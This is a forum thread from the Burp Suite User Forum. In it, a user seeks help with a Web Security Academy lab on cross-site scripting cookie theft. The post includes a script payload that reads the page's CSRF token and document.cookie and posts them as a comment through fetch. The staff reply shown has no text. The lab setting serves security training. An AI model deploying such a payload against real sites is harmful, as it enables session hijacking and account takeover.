The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Exploiting cross-site scripting to steal cookies

Hibboxx | Last updated: Sep 14, 2023 11:45AM UTC

hello, i don't have burp pro so i craft a script but he don't not working, i think the challenge have a problem take my script : ``` <script> window.onload = function() { var data = “csrf=” + document.getElementsByTagName(“input”)[0].getAttribute(“value”) + “&postId=5&comment=” + document.cookie + “&name=hacker&email=test@gmail.com&website” fetch('https://0a7300830370c85a8048da3100490043.web-security-academy.net/post/comment', { method: 'POST', mode: 'no-cors', body:(data) }); }; </script> ```

Dominyque, PortSwigger Agent | Last updated: Sep 14, 2023 01:36PM UTC